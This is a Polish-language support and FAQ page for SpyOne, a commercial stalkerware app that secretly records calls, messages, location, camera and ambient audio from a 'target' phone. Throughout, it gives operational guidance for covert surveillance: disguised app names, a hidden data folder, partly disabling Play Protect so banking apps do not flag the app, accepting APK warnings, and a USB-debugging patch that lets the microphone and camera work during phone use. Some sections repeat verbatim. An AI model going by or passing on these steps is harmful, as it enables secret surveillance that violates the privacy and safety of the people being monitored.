ℹ️ Informacja o powiadomieniu dotyczącym pełnego dostępu do urządzenia

W panelu SpyOne mogą pojawić się różne komunikaty systemowe o treści:

📱 Aplikacja mobilna SpyOne – dyskretna kontrola bez przeglądarki

Nasza aplikacja mobilna SpyOne Panel została zaprojektowana z myślą o
dyskrecji, bezpieczeństwie i wygodzie użytkownika.
Umożliwia pełne zarządzanie i monitorowanie danych z urządzenia docelowego
bez konieczności logowania się przez przeglądarkę internetową.

• Bezpieczny dostęp do danych – wszystkie informacje (wiadomości, połączenia, lokalizacja, multimedia itp.) dostępne są bezpośrednio z aplikacji.
• Brak śladów w historii przeglądania – aplikacja nie zostawia wpisów w historii przeglądarki ani nie wymaga korzystania z adresu URL.
• Szybkie logowanie – natychmiastowy dostęp do panelu, bez potrzeby wpisywania adresu strony.
• Dyskretna ikona i neutralna nazwa – aplikacja nie wzbudza podejrzeń na telefonie użytkownika.
• Pełna kompatybilność z licencją SpyOne – obsługuje wszystkie funkcje znane z wersji panelu online.

📥 Pobierz aplikację bezpłatnie

📲 NACIŚNIJ TUTAJ NA TELEFONIE, ABY POBRAĆ APLIKACJĘ

🔓 Jak dodać aplikację bankową do aplikacji zaufanych?

Niektóre aplikacje bankowe mogą wykrywać aktywność systemową związaną z aplikacją monitorującą,
co czasami powoduje ich tymczasową blokadę lub nieprawidłowe działanie.
Poniżej przedstawiamy prosty sposób rozwiązania tego problemu.

✅ Rozwiązanie: Instalacja aplikacji z dodatkowymi opcjami

Co należy zrobić?

1. 📶 Uwaga: Upewnij się, że telefon jest połączony z siecią Wi-Fi,
   a nie z internetem mobilnym. To warunek poprawnego działania instalatora.
2. 📲 Odinstaluj obecną aplikację i Zainstaluj aplikację ponownie – postępuj zgodnie z filmem instruktażowym,
   który odpowiada Twojej wersji systemu dodatkowo włączając te opcje – FILM INSTRUKTAŻOWY
3. ⚙️ Podczas instalacji zaznacz dwie dodatkowe opcje
   widoczne w dolnej części ekranu instalatora  FILM INSTRUKTAŻOWY (nie są pokazane w klasycznej wersji filmu instalacyjnego).
4. 🔹 Po zakończeniu instalacji należy ponownie włączyć usługę Play Protect.
   • 🔹 Włącz tylko górną opcję w ustawieniach Play Protect.
   • 🔹 Dolna opcja powinna pozostać wyłączona.

🔍 Brak aktywności urządzenia w Panelu SpyOne

Jeśli w Panelu SpyOne od dłuższego czasu status telefonu widoczny jest jako
szary lub czerwony, a dane nie są aktualizowane,
oznacza to, że aplikacja na urządzeniu przestała działać prawidłowo.

Przyczyną może być:

• zawieszenie procesu aplikacji,
• usunięcie aplikacji z telefonu (szczególnie przy długo utrzymującym się czerwonym kolorze),
• całkowite wyłączenie urządzenia,
• brak aktywnego połączenia z internetem,
• uśpienie aplikacji przez inny program lub system oszczędzania energii.

W takiej sytuacji należy sprawdzić stan telefonu,
połączenie z internetem oraz w razie potrzeby
uruchomić urządzenie ponownie, aby przywrócić jego prawidłowe działanie.

Jeśli telefon ma dostęp do internetu, a pomimo ponownego uruchomienia
dane nadal się nie aktualizują — należy ponownie zainstalować oprogramowanie SpyOne.
Szczegółowe instrukcje instalacji znajdują się w górnej części strony poradnika.

🔧 Aplikacja nie działa prawidłowo z powodu przeciążenia pamięci RAM

Taka sytuacja może wystąpić, gdy telefon
przez dłuższy czas nie był restartowany,
a pamięć RAM przekroczyła wartość wymaganą do przetwarzania plików dźwiękowych.
W efekcie aplikacja może czasowo utracić możliwość nagrywania połączeń.

Co należy zrobić:

Istnieją dwa skuteczne sposoby rozwiązania problemu:

1. Uruchom ponownie telefon
   Proste wyłączenie i ponowne włączenie urządzenia pozwoli wyczyścić pamięć RAM,
   co zwykle przywraca poprawne działanie funkcji nagrywania.
2. Wyłącz i włącz dostępność aplikacji
   Wejdź w:
   Ustawienia → Dostępność → Zainstalowane aplikacje / Pobrane aplikacje
   Następnie wybierz odpowiednią aplikację (np. Karta SIM lub Telefon) i wykonaj:
   👉 Wyłącz → Włącz → OKSzczegółowe instrukcje dla poszczególnych modeli telefonów znajdziesz w dziale:
   „restart ustawienia dostępności dla poszczególnych telefonów” (na górze strony).

🔄 Opcja druga

Jeśli w czasie działania aplikacji pojawił się komunikat jak poniżej:

• Oznacza to, że zostało wyłączone zezwolenie na mikrofon.
  Należy je włączyć ponownie, zgodnie z instrukcją na poniższym filmie:

📱 Telefony Xiaomi – problemy z nagrywaniem połączeń

W niektórych modelach telefonów Xiaomi mogą występować
problemy z nagrywaniem połączeń.
Objawia się to tzw. „głuchymi połączeniami” – podczas rozmowy
nie słychać rozmówcy lub druga strona nie słyszy użytkownika.

W takiej sytuacji należy:
👉 Wyłączyć funkcję nagrywania połączeń w ustawieniach aplikacji,
a następnie sprawdzić, czy rozmowy przebiegają prawidłowo.

Po wyłączeniu tej funkcji telefon będzie działał prawidłowo,
a pozostałe funkcje aplikacji (np. lokalizacja, wiadomości, nasłuch otoczenia)
pozostaną aktywne.

🔎 Wykrywalność oprogramowania — co warto wiedzieć

Najczęstszą przyczyną, że ktoś dowiaduje się o obecności oprogramowania, jest przypadkowe ujawnienie informacji przez osoby trzecie (tzw. „wygadanie się”). Naszym priorytetem jest, by aplikacja działała stabilnie i zgodnie z prawem.

Co deklarujemy i jak postępujemy:

• Projektujemy aplikację tak, aby nie zakłócała normalnego działania urządzenia.
• Stosujemy dobre praktyki programistyczne oraz regularne aktualizacje, by minimalizować fałszywe alarmy zgłaszane przez programy zabezpieczające (antywirusy).
• Nie udzielamy porad ani nie tworzymy instrukcji mających na celu obejście mechanizmów bezpieczeństwa lub wykrywania.

Ważne: mimo naszych starań nie możemy zagwarantować, że każde specjalistyczne narzędzie lub firma zajmująca się wykrywaniem podsłuchów nie zidentyfikuje aplikacji — szczególnie podczas zaawansowanej, manualnej inspekcji urządzenia. W przypadku wątpliwości prosimy o kontakt z działem wsparcia.

⚠️ Problemy z komunikatorami, nagrywaniem połączeń lub nasłuchem otoczenia

Jeśli zauważyli Państwo, że:

• działa tylko jedna strona w komunikatorach (brak wiadomości przychodzących lub wychodzących),
• przestały nagrywać się połączenia,
• lub nie działa funkcja nasłuchu otoczenia —

prosimy przejść na poniższą stronę i zapoznać się z instrukcjami dotyczącymi rozwiązania problemu:

👉
Kliknij tutaj, aby przejść do poradnika

🔊 Ważne informacje dotyczące nagrywania połączeń

Aplikacja SpyOne rejestruje połączenia wychodzące i przychodzące,
nagrywając obie strony rozmowy — w telefonach, które obsługują tę funkcję.

W niektórych modelach urządzeń z systemem Android nagrywanie rozmów jest
ograniczone lub całkowicie zablokowane przez producenta.
Dotyczy to m.in.:

📱 Samsung:

• Serie S8, S8+,
• Serie A (A10, A11, A15, A20, A21, A30, A31, A40, A41, A50, A51, A70, A71, A80, A81 i inne),
• Serie M (M13, M21, M31),
• Serie XCover,
• Modele z końcówką FE (np. S20 FE, S21 FE, S23 FE).

📱 Inni producenci:

• Xiaomi – część modeli posiada blokadę nagrywania po stronie systemu, przez co słychać tylko jedną stronę rozmowy,
• Motorola – amerykańskie wersje oprogramowania uniemożliwiają rejestrację rozmów w wersjach europejskich, również nagrywając tylko jedną stronę.

Ograniczenia te wynikają z polityki producentów oraz zastosowanych zabezpieczeń sprzętowych
i nie są zależne od działania aplikacji SpyOne.

🔐 Zmiana hasła do Panelu SpyOne

Aby zmienić hasło, należy wykonać tę czynność
z poziomu przeglądarki internetowej na komputerze.
Zmiana hasła z telefonu nie jest zalecana, ponieważ istnieje ryzyko przypadkowego wpisania błędnych znaków (liter lub cyfr).

🔸 Krok po kroku:

1. Zaloguj się do swojego konta SpyOne przez komputer.
2. W menu po lewej stronie wybierz zakładkę „Zmień hasło”
   (trzecia opcja od dołu).
3. Wypełnij pola zgodnie z instrukcją:
   • Pierwsze pole: wpisz obecne (stare) hasło,
   • Drugie i trzecie pole: wprowadź nowe, poprawne hasło.
4. Kliknij przycisk „Zapisz”, aby zatwierdzić zmianę.

Po zapisaniu nowego hasła, przy następnym logowaniu użyj już
nowego hasła.

🌍 Zasięg działania oprogramowania SpyOne

Tak — oprogramowanie SpyOne działa na całym świecie.
Wystarczy, aby telefon posiadał aktywny dostęp do internetu —
poprzez Wi-Fi lub włączoną transmisję danych komórkowych.

Połączenie z internetem jest niezbędne do prawidłowego przesyłania danych
pomiędzy urządzeniem a panelem użytkownika.
W przypadku braku połączenia dane zostaną zapisane lokalnie w pamięci telefonu
i wysłane automatycznie po ponownym uruchomieniu internetu.

💾 Przesyłanie i magazynowanie danych

W czasie gromadzenia informacji oprogramowanie nie wymaga stałego dostępu do internetu.
Zebrane dane są tymczasowo przechowywane w ukrytym folderze na urządzeniu,
a następnie automatycznie przesyłane na serwer
w momencie uzyskania połączenia z internetem
(poprzez Wi-Fi lub transmisję danych komórkowych).

⚠️ Do przesyłania danych niezbędny jest aktywny dostęp do internetu.
Bez połączenia sieciowego dane pozostaną zapisane lokalnie w pamięci telefonu
i zostaną wysłane automatycznie po ponownym uruchomieniu internetu.

Niektóre funkcje, takie jak Panel na żywo czy Dodaj zdarzenie,
dostępne w wersjach SpyOne Premium oraz SpyOne All in One,
wymagają stałego połączenia z internetem,
aby mogły działać w trybie rzeczywistym i prawidłowo przesyłać dane.

Należy przejść do zakładki DODAJ ZDARZENIE i ustawić czas nagrania. Włącz wideo przewodnik i dowiedz się jak prawidłowo nagrać otoczenia – WŁĄCZ FILM

💻 Panel Online SpyOne

Panel Online działa we wszystkich systemach operacyjnych
oraz na każdej nowoczesnej przeglądarce internetowej.

Dla użytkowników systemu Android została zaprojektowana
specjalna aplikacja mobilna do obsługi konta SpyOne,
umożliwiająca szybki dostęp do danych i panelu bez konieczności logowania przez przeglądarkę.

📥 Pobierz aplikację bezpłatnie bezpośrednio z naszej strony:
👉
NACIŚNIJ LINK NA TELEFONIE, NA KTÓRY CHCESZ POBRAĆ APLIKACJĘ

Uwaga: jeśli przeglądarka zapyta o zgodę na pobranie pliku APK, wybierz opcję „Zezwól”
lub „Pobierz mimo ostrzeżenia” — aplikacja pochodzi z bezpiecznego źródła SpyOne Tech.

🛡️ Odzyskiwanie danych

Niestety, nie ma możliwości odzyskania usuniętych danych.
Panele SpyOne Basic, SpyOne Premium oraz
SpyOne All in One działają w oparciu o infrastrukturę
AWS Amazon, która nie oferuje funkcji przywracania danych
po ich trwałym usunięciu z serwera.

Rozwiązanie to zostało wprowadzone świadomie — zapewnia
najwyższy poziom bezpieczeństwa i prywatności,
ponieważ dane nie są archiwizowane ani przechowywane dłużej,
niż jest to niezbędne do prawidłowego działania usługi.

W trosce o bezpieczeństwo użytkowników, wszystkie informacje są automatycznie i nieodwracalnie usuwane po zakończeniu okresu licencji.

📍 Brak wskazywania lokalizacji – możliwe przyczyny i rozwiązania

Głównym powodem braku wskazywania lokalizacji jest
wyłączony moduł GPS w telefonie przez użytkownika
lub brak odpowiednich zezwoleń dla aplikacji.

Jeśli użytkownik samodzielnie wyłączył GPS — aplikacja nie może tego zmienić automatycznie.
Jednak jeśli problem dotyczy braku zezwoleń, można to łatwo naprawić, modyfikując ustawienia telefonu.

🔧 Co należy zrobić:

Przy najbliższej okazji należy wziąć telefon do ręki i zmienić ustawienia metod lokalizacji,
aby uniknąć podobnych sytuacji w przyszłości.

Ścieżka:
Ustawienia → Aplikacje → Karta SIM /
Telefon → Uprawnienia / Zezwolenia →
Lokalizacja →
Zawsze zezwalaj lub Zezwalaj podczas używania aplikacji

💡 Wskazówki (Tips)

1. Częste korzystanie z telefonu umożliwia określenie przybliżonej pozycji za pomocą sygnału BTS,
   co można sprawdzić w zakładce Lokalizacja.
   Nie jest to tak dokładne jak GPS, ale stanowi alternatywę.
2. Aby poprawić dokładność i częstotliwość przesyłania danych GPS na serwer,
   można zwiększyć częstotliwość aktualizacji.

Jak to zrobić:
Wejdź do Ustawień poprzez naciśnięcie przycisku
USTAWIENIA w Panelu,
a następnie znajdź sekcję odpowiedzialną za częstotliwość aktualizacji GPS.

Wartość podajemy w sekundach — np.
30 minut = 1800 sekund.
Pamiętaj: im mniejszy odstęp czasowy, tym szybciej rozładuje się bateria telefonu.

Po wpisaniu odpowiedniej wartości należy
zapisać zmiany przyciskiem znajdującym się na dole strony.

 Ograniczenia dotyczące nagrywania połączeń w systemie Android

Firma Google wprowadza w systemie Android szereg zmian wynikających z regulacji Unii Europejskiej z 2019 roku.
Jedną z najważniejszych modyfikacji jest usunięcie możliwości nagrywania połączeń telefonicznych.
Oficjalny artykuł na ten temat znajduje się
TUTAJ.

Program SpyOne rejestruje połączenia wychodzące i przychodzące,
nagrywając obie strony rozmowy — we wszystkich telefonach obsługujących tę funkcję.

1. W niektórych modelach telefonów z systemem Android możliwość nagrywania rozmów jest ograniczona
   (nagrywany jest tylko głos właściciela telefonu) lub całkowicie niedostępna.
   Dotyczy to m.in. modeli: Samsung S8, S8+, A20, A21, A30, A31, A40, A41, A50, A51, A70, A71, A80, A81
   oraz innych z serii A i M (M13, M21, M31) modeli FE, a także wielu modeli Xiaomi, MOTOROLA
   w których producent zablokował możliwość nagrywania dwustronnego w oprogramowaniu przeznaczonym na rynek europejski.
2. Ograniczenia te wynikają z czynników sprzętowych oraz przepisów prawnych.
   Więcej informacji na temat nagrywania połączeń można znaleźć w poniższych źródłach:
   • Artykuł 1
   • Artykuł 2
   • Artykuł 3

Ważne: Wszystkie powyższe informacje są dostępne przed zakupem programu na naszych stronach internetowych,
jak również na ogólnodostępnych portalach branżowych w sieci.

📞 Połączenia wyświetlane jako „Unknown” (Android 10 )

Jeśli po aktualizacji telefonu połączenia zaczęły być oznaczane jako
„Unknown”, przyczyną jest zmiana
systemu operacyjnego na Android 10.
W tej wersji systemu Google wprowadził wiele modyfikacji dotyczących prywatności i dostępu aplikacji,
przez co niektóre funkcje mogą przestać działać prawidłowo.

W takim przypadku należy przeinstalować program na nowo.
Po ponownej instalacji wszystkie funkcje powinny wrócić do normy.

Uwaga: problem dotyczy wyłącznie użytkowników, którzy instalowali program
przed rokiem 2020.

🔧 Aby odblokować informacje o połączeniach:

W telefonie należy wprowadzić poniższe zmiany:

Ustawienia → Aplikacje →
Karta SIM lub
Telefon (ten jaśniejszy) →
Zezwolenia / Uprawnienia →
Kontakty → Zawsze zezwalaj

Po wykonaniu tych kroków aplikacja odzyska dostęp do danych o połączeniach,
a wpisy w panelu przestaną być oznaczane jako „Unknown”.

🧹 Odinstalowanie aplikacji SpyOne – instrukcja krok po kroku

W zależności od linku, z którego pobrano aplikację, należy wykonać odpowiednie czynności opisane poniżej.

📱 W przypadku pobrania aplikacji z linku: 11111.pl/k

1. Ustawienia → Aplikacje (Wszystkie aplikacje) → Karta SIM → Odinstaluj
2. Ustawienia → Aplikacje → (Wszystkie aplikacje) → Sklep Google Play → Pamięć domyślna → Wyczyść dane  ( pamięć podręczna nie usuwa danych z telefonu )
3. Jeśli podczas wejścia w aplikację Karta SIM pojawi się komunikat o utracie danych — prosimy wpisać hasło do konta SpyOne.

📞 W przypadku pobrania aplikacji z linku: 11111.pl/12

1. Ustawienia → Aplikacje (Wszystkie aplikacje) → Telefon (ten jaśniejszy) → Odinstaluj
2. Ustawienia → Aplikacje (Wszystkie aplikacje) → Sklep Google Play → Pamięć domyślna → Wyczyść dane  ( pamięć podręczna nie usuwa danych z telefonu )

🗄️ Przechowywanie i pobieranie danych z panelu SpyOne

Proszę pamiętać, że wszystkie zebrane dane aktywnych kont są przechowywane przez 90 dni.
Po tym czasie zostaną automatycznie usunięte z serwera.
Dlatego zaleca się regularne zgrywanie danych na komputer lub inny nośnik,
ponieważ nie będzie możliwości ich późniejszego odzyskania.

W przypadku zablokowania konta oraz
nieopłacenia subskrypcji przez 3 dni,
wszystkie dane zostaną usunięte trwale.
Aby uniknąć utraty informacji, należy wcześniej zapisać dane z panelu
na komputerze lub nośniku USB.

💾 Jak pobrać dane z panelu:

Informacje tekstowe można pobrać jednym kliknięciem w zakładce
Zarządzaj danymi – Pobierze dane – hasło do pliku zostanie wysłane na e-mail ( proszę sprawdzić spam ).
Uwaga: ta funkcja nie jest dostępna dla licencji 2-dniowej —
w takim przypadku dane należy kopiować ręcznie lub wykonać zrzut ekranu.

Pliki dźwiękowe oraz zdjęcia należy zgrywać pojedynczo.
Serwery SpyOne nie służą do długotrwałego przechowywania danych —
jeśli zbierasz materiały dowodowe, pamiętaj, by zapisywać je na trwałych nośnikach
(komputer, pendrive, dysk zewnętrzny).

🖥️ Jak zgrać pliki (rozmowy i nagrania z otoczenia):

1. Zaloguj się na swoje konto w panelu SpyOne przy użyciu przeglądarki Google Chrome.
2. Przejdź do zakładki Pobierz przy wybranym nagraniu.
3. Wybierz miejsce zapisu pliku na dysku i zatwierdź przyciskiem Zapisz.

Po zapisaniu plików możesz je odtworzyć na dowolnym urządzeniu
obsługującym format dźwiękowy .amr lub .mp3.

🎙️ Brak możliwości połączenia z telefonem – mikrofon, kamera lub ekran zajęty

Jedną z przyczyn problemu z połączeniem może być aktualne
użycie mikrofonu lub kamery przez inną aplikację ( rozmowa telefoniczna ),
bądź włączony ekran telefonu.

W czasie próby uruchomienia funkcji nasłuchu lub kamery,
może pojawić się komunikat jak poniżej:

Taki komunikat oznacza, że telefon znajduje się w trybie używania
(np. trwa rozmowa telefoniczna lub ekran jest aktywny).
W tym stanie system Android blokuje możliwość jednoczesnego użycia mikrofonu lub kamery przez inne aplikacje.

🔧 Jak rozwiązać problem:

Aby umożliwić łączenie się z telefonem w czasie, gdy mikrofon, kamera lub ekran są aktywne,
należy zainstalować specjalną poprawkę (patch).

📦 Pobierz i zainstaluj PATCH:
👉
Kliknij tutaj, aby pobrać PATCH z oficjalnej strony SpyOne

Po zainstalowaniu poprawki funkcje nasłuchu i kamery
będą działały również wtedy, gdy urządzenie będzie w trakcie użycia lub ekran pozostanie aktywny.

🖼️ Zdjęcia z komunikatorów – WhatsApp, Messenger i inne

Aplikacja SpyOne
nie przechwytuje wszystkich zdjęć
wysyłanych lub odbieranych w komunikatorach takich jak
WhatsApp, Messenger i inne.

Aby sprawdzić, jakie zdjęcia zostały wysłane lub odebrane przez te aplikacje,
należy przejść do poniższej opcji w panelu:

Pamięć urządzenia → Pictures —
następnie wybierz odpowiedni katalog ze zdjęciami.

Opcja ta jest dostępna wyłącznie w pakiecie
SpyOne All in One.

🔇 Połączenia VoIP – ograniczenia w nagrywaniu dźwięku

Ze względu na szyfrowanie połączeń VoIP w aplikacjach takich jak
Messenger, Viber, WhatsApp i innych komunikatorach,
które korzystają z własnych protokołów audio,
nie istnieje techniczna możliwość nagrywania dwukierunkowego połączenia
(obejmującego zarówno dźwięk nadawcy, jak i odbiorcy lub występuje bardzo rzadko ).

Aplikacja SpyOne rejestruje jedynie dźwięk z mikrofonu urządzenia, na którym jest zainstalowana.
Oznacza to, że nagrywany jest tylko głos użytkownika tego telefonu, a nie rozmówcy po drugiej stronie połączenia VoIP.

Ograniczenie to wynika z polityki prywatności i zabezpieczeń systemów Android oraz samych komunikatorów.

🧩 Instalacja Patcha – krok po kroku

Aby poprawnie zainstalować Patch umożliwiający działanie funkcji mikrofonu, kamery i nasłuchu, wykonaj poniższe czynności w podanej kolejności:

1. Zainstaluj sterowniki USB (dla telefonów SAMSUNG) na komputerze,
   korzystając z poniższego linku:
   👉
   STEROWNIKI DO POBRANIA
   
   Po instalacji sterowników zrestartuj komputer.
2. Zainstaluj program PermissionTool na komputerze z linku:
   👉
   LINK DO POBRANIA
   
3. Włącz debugowanie USB w telefonie kontrolowanym.
   Można to zrobić w dowolnym momencie (np. dzień przed instalacją Patcha), aby podczas podłączenia telefonu do komputera opcja debugowania była już aktywna.
   🎬
   FILM – Naciśnij, aby zobaczyć jak to zrobić
   

🎥 Film przedstawiający instalację Patcha
(lepsza jakość filmu dostępna wkrótce):
👉
WŁĄCZ FILM

📘 Więcej informacji i szczegółowe instrukcje znajdziesz na stronie:

spyone24.pl/patch

📵 Aplikacja nie nagrywa połączeń lub nie przesyła danych (pliki 6B)

Jeśli aplikacja nie nagrywa połączeń lub
nie przesyła wszystkich danych pomimo aktywnego połączenia z internetem,
przyczyną może być zapełniona pamięć telefonu.

Problem ten pojawia się zwykle, gdy zajętość pamięci wewnętrznej przekracza
80%.
W takim przypadku należy usunąć z urządzenia zbędne pliki,
takie jak zdjęcia, filmy, dokumenty czy pliki tymczasowe.

Jeśli pamięć urządzenia przekroczy 84% podczas użytkowania,
program może się zawiesić.
W takiej sytuacji, po zwolnieniu miejsca, należy
przeinstalować aplikację SpyOne, aby przywrócić jej pełną funkcjonalność.

Wskazówka: regularne czyszczenie pamięci telefonu (np. raz w tygodniu)
zapobiega problemom z działaniem aplikacji i poprawia stabilność całego systemu Android.

🎁 Dodatkowe dni licencji SpyOne All in One

Do każdej licencji SpyOne Basic oraz SpyOne Premium
(na okres 15, 30, 90, 182 lub 365 dni)
dodajemy dodatkowe 2 dni gratis w pełnej wersji
SpyOne All in One.

W tym czasie użytkownicy mają dostęp do wszystkich funkcji dostępnych
w wersji All in One, takich jak nasłuch otoczenia, nagrywanie rozmów,
podgląd na żywo czy rozszerzona lokalizacja GPS.
Pełna licencja aktywuje się automatycznie w trakcie korzystania z aplikacji.

Po upływie około 24 godzin od rozpoczęcia okresu testowego
opcje All in One w programie SpyOne Basic i SpyOne Premium staną się niedostępne.
Można je jednak dokupić w dowolnym momencie trwania licencji.

Wskazówka: w razie potrzeby rozszerzenia funkcjonalności,
wystarczy zalogować się do panelu i wybrać opcję
„Przedłuż licencję lub zadzwonić do nas i dowiedzieć się jak to zrobić”.

🗄️ Przechowywanie i pobieranie danych z panelu SpyOne

Proszę pamiętać, że wszystkie zebrane dane aktywnych kont są przechowywane przez 90 dni.
Po tym czasie zostaną automatycznie usunięte z serwera.
Dlatego zaleca się regularne zgrywanie danych na komputer lub inny nośnik,
ponieważ nie będzie możliwości ich późniejszego odzyskania.

W przypadku zablokowania konta oraz
nieopłacenia subskrypcji przez 3 dni,
wszystkie dane zostaną usunięte trwale.
Aby uniknąć utraty informacji, należy wcześniej zapisać dane z panelu
na komputerze lub nośniku USB.

💾 Jak pobrać dane z panelu:

Informacje tekstowe można pobrać jednym kliknięciem w zakładce
Zarządzaj danymi – Pobierze dane – hasło do pliku zostanie wysłane na e-mail ( proszę sprawdzić spam ).
Uwaga: ta funkcja nie jest dostępna dla licencji 2-dniowej —
w takim przypadku dane należy kopiować ręcznie lub wykonać zrzut ekranu.

Pliki dźwiękowe oraz zdjęcia należy zgrywać pojedynczo.
Serwery SpyOne nie służą do długotrwałego przechowywania danych —
jeśli zbierasz materiały dowodowe, pamiętaj, by zapisywać je na trwałych nośnikach
(komputer, pendrive, dysk zewnętrzny).

🖥️ Jak zgrać pliki (rozmowy i nagrania z otoczenia):

1. Zaloguj się na swoje konto w panelu SpyOne przy użyciu przeglądarki Google Chrome.
2. Przejdź do zakładki Pobierz przy wybranym nagraniu.
3. Wybierz miejsce zapisu pliku na dysku i zatwierdź przyciskiem Zapisz.

Po zapisaniu plików możesz je odtworzyć na dowolnym urządzeniu
obsługującym format dźwiękowy .amr lub .mp3.

🕒 Czas działania i zasady aktywacji licencji SpyOne

Poniżej przedstawiono czas trwania i warunki aktywacji poszczególnych licencji:

• 2 dni – licencja aktywna przez cały okres użytkowania konta.
  (Opcja pobierania danych niedostępna.)
• 15 dni – licencja aktywna przez cały okres użytkowania konta.
• 30 dni – licencja aktywna przez cały okres użytkowania konta.
• 90 dni – licencja aktywna przez cały okres użytkowania konta.
• 182 dni – licencja aktywna przez cały okres użytkowania konta.
• 365 dni – licencja aktywna przez cały okres użytkowania konta.

💡 Ważne informacje o czasie trwania licencji

Po wykupieniu licencji do konta zostanie automatycznie dodany czas,
na który użytkownik się zdecydował.
Czasu nie można zatrzymać, anulować ani wstrzymać.

W przypadku gdy telefon, na którym aktywowano licencję, zostanie
zmieniony, zagubiony lub uszkodzony,
licencja nadal pozostaje aktywna i przypisana do konta użytkownika.
Dostęp do panelu SpyOne pozostaje niezmienny przez cały okres obowiązywania licencji.

W takiej sytuacji aplikację można ponownie zainstalować
na innym urządzeniu i przenieść aktywną licencję na nowy telefon.
W tym celu prosimy o kontakt z działem wsparcia:
📧 pomoc@spyonetech.pl

📦 Godziny dodawania licencji / wysyłki kluczy

🗓️ Poniedziałek – Piątek: 8:00 – 20:00
🗓️ Sobota – Niedziela: 11:00 – 18:00

Czas przedłużenia licencji w powyższych godzinach
wynosi maksymalnie do 24h od momentu zaksięgowania wpłaty.
Zazwyczaj nie przekracza 180 minut od otrzymania płatności.

⚠️ Zasady realizacji licencji

1. Nie ma możliwości umawiania się na dodanie licencji bez wcześniejszej wpłaty.
2. Nie ma możliwości ustalania dokładnej godziny aktywacji licencji.
3. Licencje nie są dodawane na podstawie samego potwierdzenia wpłaty.
4. W przypadku dokonania płatności poza godzinami pracy,
   licencja zostanie dodana lub klucz wysłany w kolejnym dniu roboczym.
5. Po otrzymaniu potwierdzenia dodania licencji należy
   wylogować się
   z konta i zalogować ponownie.

📅 Wygaśnięcie licencji i przechowywanie danych

Proszę pamiętać, że w przypadku wygaśnięcia licencji
wszystkie zebrane dane zostaną zablokowane na serwerze
i nie będzie do nich dostępu.
Aby je odblokować, należy przedłużyć subskrypcję.

W przypadku zablokowania konta oraz
braku opłacenia subskrypcji przez 3 dni,
wszystkie dane zostaną usunięte trwale z serwera.
Proces ten jest nieodwracalny i nie ma możliwości ich przywrócenia.

📲 Przeniesienie programu na inny telefon

Jeśli chcą Państwo przenieść program SpyOne na nowe urządzenie,
prosimy skorzystać z instrukcji instalacji dostępnej na stronie:

https://spyone24.pl/instrukcja

Hasło do strony: alfa

Podczas ponownej instalacji należy wykonać wszystkie kroki zgodnie z filmem instruktażowym,
jednak w ostatnim kroku wybrać opcję:

👉 JESTEM JUŻ ZAREJESTROWANYM UŻYTKOWNIKIEM

Następnie należy wpisać obecne dane logowania do panelu użytkownika.
Po zakończeniu instalacji, w panelu pojawi się nowe urządzenie powiązane z Państwa kontem.

🔁 Zamów przeniesienie licencji

Aby przypisać istniejącą licencję do nowego telefonu,
prosimy złożyć zamówienie na przeniesienie instalacji pod poniższym linkiem:

🔗 KUP TERAZ

Po dokonaniu zakupu przeniesienie licencji zostanie zrealizowane przez dział wsparcia technicznego.

ℹ️ Informacja o powiadomieniu dotyczącym pełnego dostępu do urządzenia

W panelu SpyOne mogą pojawić się różne komunikaty systemowe o treści: